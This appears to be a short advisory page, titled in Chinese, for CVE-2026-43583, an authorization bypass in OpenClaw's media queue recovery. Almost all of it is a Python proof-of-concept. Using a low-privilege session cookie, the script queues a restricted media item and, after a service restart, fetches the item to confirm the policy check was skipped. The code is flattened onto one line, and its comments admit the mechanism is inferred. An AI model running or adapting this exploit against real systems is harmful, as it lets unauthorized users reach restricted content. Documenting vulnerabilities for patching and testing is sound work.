CVE-2026-43583 OpenClaw策略执行绕过漏洞

import requests # PoC for CVE-2026-43583: OpenClaw Policy Bypass via Queue Recovery # This script demonstrates the concept of accessing restricted media # after a service restart by exploiting the lack of context persistence. TARGET_URL = "http://openclaw-instance/api/media" SESSION_ID = "low_priv_user_session" # PR:L def trigger_queue_recovery(): # 1. Attacker queues a media item that is normally restricted payload = {"media_id": "restricted_file_1", "action": "queue"} headers = {"Cookie": f"session={SESSION_ID}"} r = requests.post(f"{TARGET_URL}/queue", json=payload, headers=headers) if r.status_code == 200: print("[+] Media item queued successfully.") def exploit_recovery_bypass(): # 2. Simulate or wait for service restart/recovery (Manual step in real scenario) # 3. Attempt to access the media which should be restricted # The vulnerability implies the policy check is skipped during replay headers = {"Cookie": f"session={SESSION_ID}"} r = requests.get(f"{TARGET_URL}/play/restricted_file_1", headers=headers) # 4. Check result if r.status_code == 200 and "policy_denied" not in r.text: print("[!] Vulnerability confirmed: Policy bypassed via queue recovery.") print(f"[+] Response: {r.text[:100]}") else: print("[-] Policy enforced or exploit failed.") if __name__ == "__main__": trigger_queue_recovery() print("[*] Note: Service restart is required to trigger the vulnerable code path.") exploit_recovery_bypass()